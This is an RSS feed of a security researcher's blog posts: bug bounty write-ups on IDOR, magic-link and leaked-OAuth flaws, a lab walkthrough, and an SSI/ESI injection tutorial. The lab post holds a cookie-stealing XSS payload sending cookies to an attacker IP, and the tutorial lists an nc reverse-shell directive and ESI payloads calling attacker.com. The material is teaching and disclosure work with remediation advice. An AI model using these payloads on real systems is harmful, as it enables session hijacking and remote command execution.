<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Yasmeen Rezk on Medium]]></title>
        <description><![CDATA[Stories by Yasmeen Rezk on Medium]]></description>
        <link>https://medium.com/@yasmeena_rezk?source=rss-38f106202a39------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*G12jfB23hl0oa_-KAdcLPA.jpeg</url>
            <title>Stories by Yasmeen Rezk on Medium</title>
            <link>https://medium.com/@yasmeena_rezk?source=rss-38f106202a39------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 23:36:49 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@yasmeena_rezk/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[GraphQL IDOR Allows Unauthorized Revocation of Other Users’ Activation Tokens]]></title>
            <link>https://medium.com/@yasmeena_rezk/graphql-idor-allows-unauthorized-revocation-of-other-users-activation-tokens-31e432b7bb6c?source=rss-38f106202a39------2</link>
            <guid isPermaLink="false">https://medium.com/p/31e432b7bb6c</guid>
            <category><![CDATA[idor]]></category>
            <category><![CDATA[graphql]]></category>
            <dc:creator><![CDATA[Yasmeen Rezk]]></dc:creator>
            <pubDate>Mon, 20 Oct 2025 19:04:08 GMT</pubDate>
            <atom:updated>2025-10-20T19:04:08.586Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GG8TWafTBij-V2vHyL3KNA.png" /><figcaption>Vulnerable flow shows how an authenticated attacker can revoke the victim’s token by changing the id in the GraphQL request</figcaption></figure><h4>Introduction</h4><p>When I receive an invitation to an old program and decide to test it, I start by understanding the program’s business and navigating its pages. Since it’s an older program, I often check the <strong><em>What’s New</em></strong> section for recently released features, paying close attention to <em>security enhancements</em>.</p><p>I noticed a new feature that <em>lets Organization owners generate activation tokens to securely invite new members, instead of relying on user-supplied credentials</em>. I decided to test the full flow, from creating an activation token to revoking it.</p><h4>Environment Setup</h4><p>I created two separate test accounts, one for the victim and one for the attacker, and completed the organization initialization for both. I then used the activation token feature to <em>generate a token in each account</em>. While testing, I reviewed Burp’s history, <em>copied the victim’s activation token ID and the attacker’s activation token ID</em>, and pasted them into my notes.</p><h4>Exploitation Flow</h4><blockquote><em>💡In a secure system, only the </em><strong><em>owner</em></strong><em> of an activation token should be able to revoke it, and any request from an </em>unauthorized<em> user should be </em>rejected<em>.</em></blockquote><ol><li>As an authenticated attacker (User2), open the dashboard and click <strong>Revoke </strong>on an activation token while intercepting requests with Burp Proxy.</li><li>Send the captured GraphQL revoke request to Burp Repeater.</li><li>In Repeater, replace the attacker’s token<strong> ID</strong> with the victim’s activation token <strong>ID</strong>.</li><li>Forward the modified request.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o5hbvGLX4V9dpzpIeIaGOA.png" /></figure><p>5. The server accepts and executes the revoke because it only validates that the caller is authenticated, but <strong>does not verify token ownership</strong>.<br> <br>6. The victim’s activation token is revoked, and the UI shows the action attributed to the attacker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0bfzJsGC1Qrm9DIXgdpCUA.png" /></figure><h4>Impact</h4><p>Allows an authenticated attacker to revoke other users’ activation tokens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/1*cumVLbKXJ8hikSG--p-ROw.png" /></figure><p><strong>Stay curious. Thanks!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=31e432b7bb6c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Authentication Bypass via Magic Link Misconfiguration]]></title>
            <link>https://medium.com/@yasmeena_rezk/authentication-bypass-via-magic-link-misconfiguration-b6900b3d2fc3?source=rss-38f106202a39------2</link>
            <guid isPermaLink="false">https://medium.com/p/b6900b3d2fc3</guid>
            <category><![CDATA[authentication-bypass]]></category>
            <category><![CDATA[magic-link]]></category>
            <dc:creator><![CDATA[Yasmeen Rezk]]></dc:creator>
            <pubDate>Mon, 10 Mar 2025 20:15:40 GMT</pubDate>
            <atom:updated>2025-03-11T06:28:44.133Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ON2I1KapiyZf1RejVtuifw.png" /></figure><p>Sometimes, the <strong>smallest oversight</strong> can turn a secure system into a major security risk.</p><p>In this case, a missing <strong>“Is this email registered?”</strong> check turned an authentication feature into an open door for anyone.</p><h4>Passwordless Magic Link Authentication</h4><p>Magic links, also known as email login links, provide a passwordless authentication method that removes the need for traditional passwords. Instead, users gain access to a website or application through a <strong>one-time-use link</strong> sent to their email.</p><blockquote><strong><em>The process should work like this:</em></strong></blockquote><ol><li>A user enters their email and requests a magic link.</li><li>If the email is <strong>registered</strong>, the system generates a one-time login link.</li><li>The user clicks the link, and the system verifies the token before granting access.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/0*dIGI1K2bW_1wxUmM" /></figure><h3>Scenario</h3><p>While testing a web application, I came across its login page. It offered two ways to sign in:</p><ol><li><strong>Google OAuth</strong> — the standard third-party login.</li><li><strong>Magic Link Authentication</strong> — a passwordless method that sends a login link to your email.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oc9Vnr-jlU1N3uIJsW7B4w.png" /></figure><p>I decided to test the magic link flow. Normally, you’d expect the system to verify whether an email was registered <strong>before</strong> sending a login link.</p><p>So, I entered a completely random email address that had <strong>never </strong>been registered on the platform.</p><p>I fully expected an error message:</p><blockquote>“This email is not registered.”</blockquote><p>Instead, the response was completely unexpected:</p><blockquote>“A sign-in link has been sent to your email address.”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*74-6oMieOjwHx9mOfwYuVQ.png" /></figure><p>I was curious about one key detail: <strong>Does the system check if an email is actually registered before sending a magic link?</strong></p><p>To confirm my suspicion, I checked my inbox. There it was a <strong>valid magic link</strong> waiting to be clicked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e6kjNzXJL1f101hvzIZHtQ.png" /></figure><p>I clicked the link. And just like that, I was <strong>logged in</strong>, with full access to the platform. No password, no verification, nothing preventing unauthorized users from getting in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*iuhiixvoekbH5QKi-9EHpA.png" /></figure><p>This meant that anyone could access the system just by entering any email address<strong> </strong>even if they <strong>had never signed up</strong>.</p><p><strong>Impact:</strong></p><p>An unauthenticated user could access a test dashboard and interact with unreleased features via a hidden login endpoint. This exposed functionalities that were not meant to be publicly accessible, leading to a potential security risk.</p><h4><strong>Recommendation</strong></h4><p>To prevent this, the system needed to verify email addresses before sending magic links ( Only registered users should receive login links).</p><blockquote><strong><em>Additional Resources:</em></strong></blockquote><ul><li><a href="https://www.descope.com/learn/post/magic-links">https://www.descope.com/learn/post/magic-links</a></li><li><a href="https://www.1kosmos.com/authentication/magic-link-authentication/">https://www.1kosmos.com/authentication/magic-link-authentication/</a></li></ul><h4><strong><em>Thanks for Reading!</em></strong></h4><ul><li><a href="https://twitter.com/yasmeena_rezk">Twitter</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b6900b3d2fc3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Leaked OAuth Credentials Allowed Unauthorized API Access]]></title>
            <link>https://medium.com/@yasmeena_rezk/how-leaked-oauth-credentials-allowed-unauthorized-api-access-c6c5686948ae?source=rss-38f106202a39------2</link>
            <guid isPermaLink="false">https://medium.com/p/c6c5686948ae</guid>
            <category><![CDATA[api-penetration-testing]]></category>
            <category><![CDATA[oauth]]></category>
            <dc:creator><![CDATA[Yasmeen Rezk]]></dc:creator>
            <pubDate>Wed, 12 Feb 2025 20:12:26 GMT</pubDate>
            <atom:updated>2025-02-12T20:12:26.299Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ezaSH7ACWHSYf17ceG7wpg.png" /></figure><h4>Introduction</h4><p>While analyzing the target application, I discovered exposed OAuth credentials (client_id and client_secret) within a public JavaScript file. Using these credentials, I could generate access tokens, and access protected internal API endpoints, allowing an attacker to retrieve sensitive information.</p><h4>1. Identifying the Authentication Mechanisms</h4><p>While exploring the target, I identified two distinct authentication flows:</p><ul><li><strong>Customer Login Panel</strong> →A standard username/password-based login.</li><li><strong>Employee Login Panel </strong>→An OAuth-based authentication mechanism.</li></ul><p>💡Since <em>OAuth </em>was used, I reviewed the target’s JavaScript files to look for any exposed <em>credentials</em>.</p><h4>2. Searching for Exposed Credentials</h4><p>While analyzing the JavaScript files, I found an exposed client_id and client_secret in <strong>main.js</strong>.</p><h4>3. Generate an Access Token</h4><p>In addition to the client credentials, the JavaScript file contained a <strong>POST request for token generation</strong>.<br>Using the exposed credentials, I sent a request to the token endpoint and successfully obtained an access token:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*En92Cb8ZMzIDY4RXDclgAQ.png" /></figure><h4>4. Access Protected API Endpoints</h4><p>Once I obtained an access<em> token</em>, I was able to use it to interact with internal API endpoints that should have been restricted:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lVjxJSxwTsk8Gwd3-tZSXw.png" /></figure><p>The response contained debugging information, internal system details, and other sensitive data.</p><p><strong>Mitigation: </strong>Avoid hardcoding OAuth secrets in client-side code, implement proper access controls for API endpoints, use short-lived tokens, and monitor for exposed credentials.</p><blockquote>I initially reported my finding as <strong>high severity</strong>, but the program later downgraded it to <strong>medium (5.9)</strong> based on<em> its impact on their system.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*m7H14IEwHOWJwcYoHU7Blg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/0*8ZUbYDX8sRMvkQCA" /></figure><p><strong>Stay curious. Thanks!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c6c5686948ae" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Chaining XSS with CSRF for Session Hijacking (Lab)]]></title>
            <link>https://medium.com/@yasmeena_rezk/chaining-xss-with-csrf-for-session-hijacking-lab-0d3c61dc54fa?source=rss-38f106202a39------2</link>
            <guid isPermaLink="false">https://medium.com/p/0d3c61dc54fa</guid>
            <category><![CDATA[csrf]]></category>
            <category><![CDATA[csrf-attack]]></category>
            <dc:creator><![CDATA[Yasmeen Rezk]]></dc:creator>
            <pubDate>Wed, 09 Oct 2024 20:33:13 GMT</pubDate>
            <atom:updated>2024-10-09T20:33:13.482Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SWSG_LSHyWqcFQ3L.jpg" /></figure><h4>Session</h4><blockquote><em>A </em><strong><em>user session</em></strong><em> refers to a series of requests made by the same client and the responses sent back during a specific timeframe.</em></blockquote><p><strong>Web applications need sessions to:</strong></p><ul><li>Track the information and status of each user.</li><li>Manage user authorization and access rights.</li><li>Store localization settings (such as language preferences).</li><li>Manage pre-authentication (before login) and post-authentication (after login) activities.</li></ul><p><strong>Types of Session Identifiers:</strong></p><ul><li>URL parameter</li><li>URL argument</li><li>Body argument</li><li>Cookie</li><li>Custom or unique solution</li></ul><p><strong>Security Requirements for a Session Identifier:</strong></p><ul><li><strong>Validity Scope</strong>: valid for the specific session for which it is generated.</li><li><strong>Randomness</strong>: unpredictable to prevent guessing.</li><li><strong>Validity Time</strong>: expires after a set period.</li></ul><h4>Session Hijacking</h4><blockquote><em>An attacker exploits insecure session identifiers → steals them → uses them to authenticate to the server and impersonating the victim.</em></blockquote><p><strong>How can an attacker obtain a victim’s session identifier?</strong></p><ul><li>XSS</li><li>Passive Traffic Sniffing</li><li>Browser history or log-diving</li><li>Read access to a database containing session information</li></ul><h4>Cross-Site Request Forgery (CSRF)</h4><blockquote><em>An attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated.</em></blockquote><ul><li>Usually carried out using attacker-crafted web pages that the victim interacts with, exploiting the absence of proper anti-CSRF protections.</li><li>This attack only works if the victim is an authenticated user because when the request is made, the application will check if the cookies of a valid session are available.</li></ul><p><strong>Impact</strong></p><ol><li>If the victim is a regular user, it can lead to the compromise of their data or account operations.</li><li>If the victim has admin-level access, it can result in the compromise of the entire web application.</li></ol><p><strong>Testing for CSRF vulnerability</strong></p><ol><li>Create the custom payload</li><li>Embed the request into a hyperlink</li><li>Trick the victim into clicking the link which will send your request to the website.</li><li>Forge the request to conduct malicious action</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/0*y9_DHAnD8Jh4Y1g4.png" /></figure><p><strong>Chaining Vulnerabilities to Achieve CSRF</strong></p><ul><li>Sometimes, even if we bypass CSRF protections, we might still be unable to make cross-site requests due to Same-Origin or Same-Site restrictions.</li><li>In such cases, we can explore chaining vulnerabilities together to achieve a CSRF attack.</li></ul><h4>Lab: Hijack the Session of the Application Admin and Set the admin’s profile to be visible to everyone.</h4><blockquote><strong>Hint:</strong> Malicious cross-site requests are out of the equation due to the same origin/same site protections &amp; Check <a href="http://minilab.htb.net/submit-solution">/submit-solution</a> page.</blockquote><p>So, The hint suggests we need to find another vulnerability like <strong>XSS</strong> to chain with CSRF.</p><blockquote><strong>Goal: </strong>Exploit an XSS vulnerability in an endpoint the admin might visit and perform session hijacking to gain access to the admin’s account.</blockquote><h4><strong>Steps:</strong></h4><blockquote><strong><em>Step 1: Understand the Endpoint</em></strong></blockquote><p>The /submit-solution endpoint is used by admins, and it accepts a ?url Parameter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*Oo0ahGBi_q9oVLVGY2XjFQ.png" /><figcaption>Before adding the url parameter</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LGScdvcqoUy3X5b6Cb89Kg.png" /><figcaption>Vulnerable endpoint that the admin visits</figcaption></figure><p>Now, we need to find a vulnerable endpoint that the admin visits and uses to exploit XSS for session hijacking.</p><blockquote><strong><em>Step 2: Performing XSS Attack for Session Hijacking</em></strong></blockquote><ol><li>Visit the profile page and test input fields for <strong>XSS</strong> by injecting:</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*b9-nL9kSFutzeCXqbRyMOA.png" /></figure><ul><li>The <strong>Country</strong> field was vulnerable to <strong>Stored XSS</strong>, meaning the payload would execute whenever someone (including the admin) views the profile.</li></ul><p>2. Set up a PHP server:</p><pre>sudo php -S 0.0.0.0:8001</pre><ul><li>Create a script to log the session cookie:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*10yOeR4ec5FNkXK9rsQDpw.png" /><figcaption>index.php file</figcaption></figure><p>3. Inject the following payload into the vulnerable parameter:</p><pre>&lt;img onerror=&quot;window.location=&#39;http://&lt;IP&gt;:8001/index.php?c=&#39; + document.cookie;&quot; src=&quot;none.jpg&quot;&gt;</pre><p>Now, If we visit our profile after injecting the XSS payload, we’ll see that our session token gets sent to the PHP server as a test to verify the payload is working correctly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_tZz4tx3UvTVAhlLy-ox4w.png" /><figcaption>Atacker Session Token Sent to PHP Server</figcaption></figure><p>Now, we needed to make sure the admin would visit our profile. To do this, we visited the /submit-solution endpoint again and passed our profile link to the ?url parameter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LGScdvcqoUy3X5b6Cb89Kg.png" /></figure><ul><li>When the admin visits the page, the XSS will execute, and their session cookie will be sent to our server.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hXUCvNusOryA1BkgnruVsA.png" /></figure><blockquote><strong><em>Step 3: Replacing the Admin’s Cookie to Compromise the Admin’s Profile</em></strong></blockquote><p>Using the captured session cookie in the browser to hijack the admin’s session:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HfUCDIrMM5ydnAgrZmek6Q.png" /><figcaption>Visiting Admin profile</figcaption></figure><p>We successfully gained access to the admin’s account and could modify their profile settings.</p><p>By chaining Stored XSS with session hijacking, We bypassed the same origin/same site protections and executed a CSRF attack via XSS.</p><blockquote><strong><em>Resources</em></strong></blockquote><ul><li><a href="https://www.cobalt.io/blog/a-pentesters-guide-to-cross-site-request-forgery-csrf">A Pentester’s Guide to Cross-Site Request Forgery (CSRF) | Cobalt</a></li><li><a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy">https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy</a></li><li><a href="https://owasp.org/www-community/attacks/csrf">https://owasp.org/www-community/attacks/csrf</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0d3c61dc54fa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction to GraphQL]]></title>
            <link>https://medium.com/@yasmeena_rezk/introduction-to-graphql-9e320ce5ace5?source=rss-38f106202a39------2</link>
            <guid isPermaLink="false">https://medium.com/p/9e320ce5ace5</guid>
            <category><![CDATA[graphql]]></category>
            <dc:creator><![CDATA[Yasmeen Rezk]]></dc:creator>
            <pubDate>Fri, 23 Aug 2024 03:33:12 GMT</pubDate>
            <atom:updated>2024-08-23T03:33:12.681Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oxu9D_Cd9cicD8_Beqxb2g.jpeg" /></figure><p><strong>APIs Description</strong></p><ul><li>APIs enable two applications to exchange information through requests and responses.</li><li>An API client (<em>consumer</em>) interacts with an application server to read or modify data via the API.</li></ul><p><strong>GraphQL Description</strong></p><ul><li>GraphQL is an open-source data query and manipulation language for APIs.</li><li>It lets an API consumer request specific data from a server, avoiding unnecessary information and reducing information disclosure. GraphQL also enhances the speed of client-server interactions.</li></ul><h3>GraphQL Components</h3><ol><li>Query parsers read and validate the query’s format, ensuring it aligns with the application’s GraphQL schema.</li><li>Valid queries are then processed by resolver functions, which generate the query response.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*LU9_Tvd7MWMXYoAuMTzTzA.png" /></figure><h4>1. Schema</h4><p>A GraphQL schema defines the types of data a client can query, using schema definition language (SDL).</p><blockquote><strong><em>Schema components:</em></strong></blockquote><ul><li><strong>Object Types</strong>: Represent pieces of data that can be fetched, with fields as attributes holding values. Objects can reference other objects, forming links.</li><li><strong>Links</strong>: GraphQL allows various links between objects, including <em>one-way</em> and<em> two-way </em>relationships. For two-way links, API developers should implement security controls.</li></ul><p>GraphQL is strongly typed, so the server returns an error if clients use incorrect data types.</p><p><strong>Naming Conventions</strong>: Object names (e.g., User) start with an uppercase letter, while field names (e.g., username) are lowercase.</p><h4>2. Queries</h4><ul><li>After defining an API’s schema, clients can retrieve data by crafting queries.</li><li>Each query starts with the operation’s root type, which must be predefined in the schema along with the fields available for client use.</li></ul><blockquote><strong><em>Types of query root operations:</em></strong></blockquote><ol><li><strong>Queries</strong>: Used for read-only operations.</li><li><strong>Mutations</strong>: Allow both writing and reading of data.</li><li><strong>Subscriptions</strong>: Enable real-time communication between clients and GraphQL servers, typically using transport protocols like WebSocket.</li></ol><h4>3. Query Parser &amp; Resolver Functions</h4><blockquote><strong><em>Query Parser:</em></strong></blockquote><ul><li>Validates queries against the schema to ensure that only valid queries are accepted.</li></ul><blockquote><strong><em>Resolver Functions (Resolvers):</em></strong></blockquote><p><strong>REST Integration</strong>: GraphQL APIs often make REST calls behind the scenes.</p><p><strong>Responsibilities</strong>: Resolvers generate the response data for each field specified in the client query and handle tasks like:</p><ul><li>Querying relational or cache databases.</li><li>Reading data from the local filesystem.</li><li>Making HTTP requests to other systems via REST APIs.</li></ul><h4><strong>GraphQL Additional Useful Features</strong></h4><ul><li><strong>Schema Stitching</strong>: Combines multiple schemas into a single, unified schema, providing one integration point for clients.</li><li><strong>Schema Federation</strong>: Automatically combines schemas and allows you to direct the GraphQL API gateway to additional schema locations.</li></ul><h4>GraphQL API vs REST APIs</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*7WwYnv9eeODNT45nJ1klYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*WS02Muv0JyW7rwdS0UwH4w.png" /></figure><blockquote><strong><em>Additional Resources</em></strong></blockquote><p><a href="https://graphql.org/learn/">Introduction to GraphQL | GraphQL</a></p><blockquote>Thanks.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9e320ce5ace5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Server Side Includes (SSI) & Edge Side Includes (ESI)]]></title>
            <link>https://medium.com/@yasmeena_rezk/server-side-includes-ssi-edge-side-includes-esi-13a8fc042e81?source=rss-38f106202a39------2</link>
            <guid isPermaLink="false">https://medium.com/p/13a8fc042e81</guid>
            <category><![CDATA[ssrf]]></category>
            <category><![CDATA[server-side-attacks]]></category>
            <dc:creator><![CDATA[Yasmeen Rezk]]></dc:creator>
            <pubDate>Mon, 15 Apr 2024 05:48:22 GMT</pubDate>
            <atom:updated>2024-04-15T05:48:22.996Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*MvkGvBjdEMXC-_354E7bnQ.png" /></figure><blockquote><strong><em>Directives</em></strong></blockquote><p>In programming, directives are instructions or commands embedded within the code that provide guidance to the compiler or interpreter on how to process the code.</p><h3>Server-Side Includes (SSI)</h3><blockquote><em>Is a technology used by web applications to create dynamic content on HTML pages before loading or during the rendering process by evaluating SSI directives.</em></blockquote><p>SSI is a great way to add small amounts of dynamic content to pages, without doing a lot of extra work.</p><p><strong>SSI used to:</strong></p><ul><li>display the size of a file.</li><li>display the date last modified of the current document.</li><li>include files and display its content.</li></ul><p><strong>Some SSI directives:</strong></p><pre>&lt;!--#directive param=&quot;value&quot; --&gt;<br><br>// Document name<br>&lt;!--#echo var=&quot;DOCUMENT_NAME&quot; --&gt;<br>// Date<br>&lt;!--#echo var=&quot;DATE_LOCAL&quot; --&gt;<br><br>// File inclusion<br>&lt;!--#include virtual=&quot;/index.html&quot; --&gt;<br>// Including files (same directory)<br>&lt;!--#include file=&quot;file_to_include.html&quot; --&gt;<br>// CGI Program results<br>&lt;!--#include virtual=&quot;/cgi-bin/counter.pl&quot; --&gt;<br>// Including virtual files (same directory)<br>&lt;!--#include virtual=&quot;file_to_include.html&quot; --&gt;<br>// Modification date of a file<br>&lt;!--#flastmod file=&quot;index.html&quot; --&gt;<br><br>// Command exec<br>&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br>// Command exec<br>&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br>// Reverse shell<br>&lt;!--#exec cmd=&quot;mkfifo /tmp/foo;nc &lt;PENTESTER IP&gt; &lt;PORT&gt; 0&lt;/tmp/foo|/bin/bash 1&gt;/tmp/foo;rm /tmp/foo&quot; --&gt;<br><br>// Print all variables<br>&lt;!--#printenv --&gt;<br>// Setting variables<br>&lt;!--#set var=&quot;name&quot; value=&quot;Rich&quot; --&gt;</pre><h4>SSI injection</h4><p><strong>Description:</strong></p><blockquote><em>Occurs when poorly validated user input manages to become part of a response that is parsed for Server-Side Include directives.</em></blockquote><p><strong>Attack scenarios:</strong></p><blockquote><em>Check for extensions such as .shtml, .shtm, or .stm) ...etc.</em></blockquote><blockquote><em>Note: it can exist in blind format.</em></blockquote><ul><li>Submit payloads to the target application through input fields:</li><li>The web server vulnerable if it parses and executes the directives before rendering the page.</li></ul><p><strong>Impact:</strong></p><blockquote><em>Can lead to extracting sensitive information from local files or even executing commands on the target web server.</em></blockquote><p><strong>Test plan: Injecting some SSI directives:</strong></p><ul><li>Date:</li></ul><pre>&lt;!--#echo var=&quot;DATE_LOCAL&quot; --&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*gEFs8j3O0UOVlK0PJGH5Gw.png" /><figcaption>Result</figcaption></figure><ul><li>Executing commands such as getting the current directory path:</li></ul><pre>&lt;!--#exec cmd=&quot;pwd&quot; --&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ve2mUvVqtj_4WqaOutyX7A.png" /><figcaption>Result</figcaption></figure><p><strong>Remediation</strong></p><blockquote><em>Ideally, a whitelist of specific accepted values should be used. Otherwise, only short alphanumeric strings should be accepted.</em></blockquote><h3>Edge Side Includes (ESI)</h3><blockquote><em>Is an XML-based tag-based markup language that relieves server performance by caching large amounts of web content and is mainly used in popular HTTP proxy solutions.</em></blockquote><ul><li>The ESI tag is used to instruct the reverse proxy (caching server) to get more information about the web page of the template that has been cached.</li><li>Allow for dynamic web content assembly at the edge of the network (Content Delivery Network, User’s Browser, or Reverse Proxy).</li></ul><p><strong>The syntax of ESI in an example:</strong></p><pre>&lt;body&gt;<br>  &lt;b&gt;The Weather Website&lt;/b&gt;<br>  Weather for &lt;esi:include src=&quot;/weather/name?id=$(QUERY_STRING{city_id})&quot; /&gt;<br>  Monday: &lt;esi:include src=&quot;/weather/week/monday?id=$(QUERY_STRING{city_id})&quot; /&gt;<br>  Tuesday: &lt;esi:include src=&quot;/weather/week/tuesday?id=$(QUERY_STRING{city_id})&quot; /&gt;<br>[…]</pre><h4>ESI Injection</h4><p><strong>Description:</strong></p><blockquote><strong><em>The root cause of this vulnerability</em></strong><em> is that HTTP surrogates cannot validate the ESI tag origin.</em></blockquote><blockquote><em>- Occurs when an attacker manages to reflect malicious ESI tags in the HTTP Response.</em></blockquote><p><strong>Attack scenarios:</strong></p><blockquote><em>- Inspecting response headers in search for</em><strong><em> Surrogate-Control: content=”ESI/1.0&quot;</em></strong><em><br>- we can introduce ESI tags to HTTP requests to see if any intermediary proxy is parsing the request and if ESI Injection is possible.</em></blockquote><blockquote><em>- Note: it can be blind.</em></blockquote><p><strong>A blind exploitation approach:</strong></p><pre>// Basic detection<br>hell&lt;!--esi--&gt;o <br>// If previous is reflected as &quot;hello&quot;, it&#39;s vulnerable<br><br>// Blind detection<br>&lt;esi:include src=http://attacker.com&gt;<br><br>// XSS Exploitation Example<br>&lt;esi:include src=http://attacker.com/XSSPAYLOAD.html&gt;<br><br>// Cookie Stealer (bypass httpOnly flag)<br>&lt;esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)&gt;<br><br>// Introduce private local files (Not LFI per se)<br>&lt;esi:include src=&quot;supersecret.txt&quot;&gt;<br><br>// Valid for Akamai, sends debug information in the response<br>&lt;esi:debug/&gt;</pre><ol><li>Server Request Forgery (SSRF)</li></ol><pre>&lt;esi:include src=&quot;http://evil.com/ping/&quot; /&gt;</pre><p>If you can get an HTTP callback, then there is ESI injection in this proxy server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g8IZ5TmR6s9EZv1eqT3luw.png" /></figure><p>2. SSRF-to-XSS attack using ESI include</p><pre>&lt;esi:include src=http://attacker.com/xss.html&gt;</pre><ul><li>When <strong>include</strong> is available, they can be pointed to external domains, and an external page with XSS payload can be simply included.</li><li>The content of the xss.html page is obtained by SSRF, and then the payload is added to the dom of the returned page, causing XSS attacks.</li></ul><p><a href="https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/">GoSecure created</a> a table to understand possible attacks that we can try against different ESI-capable software, depending on the functionality supported:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kpX5xDDcjjVmUxxTY-00pg.png" /></figure><p><strong>Remediation</strong></p><p>Apply context-dependent encoding and/or validation to user input rendered on a page. Mitigation techniques against XSS recommended for the language or framework you are using will often be enough to protect against ESI injections.</p><h4>Resources</h4><ul><li><a href="https://gosecure.ai/blog/2018/04/03/beyond-xss-edge-side-include-injection/">Beyond XSS: Edge Side Include Injection — GoSecure</a></li><li><a href="https://www.anquanke.com/post/id/103641">ESI (Edge Side Include) Injection Technology — Security Customer — Security Information Platform (anquanke.com)</a></li><li><a href="https://owasp.org/www-community/attacks/Server-Side_Includes_(SSI)_Injection">Server-Side Includes (SSI) Injection | OWASP Foundation</a></li><li><a href="https://book.hacktricks.xyz/pentesting-web/server-side-inclusion-edge-side-inclusion-injection">Server Side Inclusion/Edge Side Inclusion Injection | HackTricks | HackTricks</a></li></ul><blockquote><em>Thanks.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=13a8fc042e81" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Google OAuth]]></title>
            <link>https://medium.com/@yasmeena_rezk/google-oauth-f1f0841bf847?source=rss-38f106202a39------2</link>
            <guid isPermaLink="false">https://medium.com/p/f1f0841bf847</guid>
            <category><![CDATA[oauth2]]></category>
            <category><![CDATA[google-login]]></category>
            <dc:creator><![CDATA[Yasmeen Rezk]]></dc:creator>
            <pubDate>Sat, 23 Mar 2024 03:23:04 GMT</pubDate>
            <atom:updated>2024-03-23T03:23:04.669Z</atom:updated>
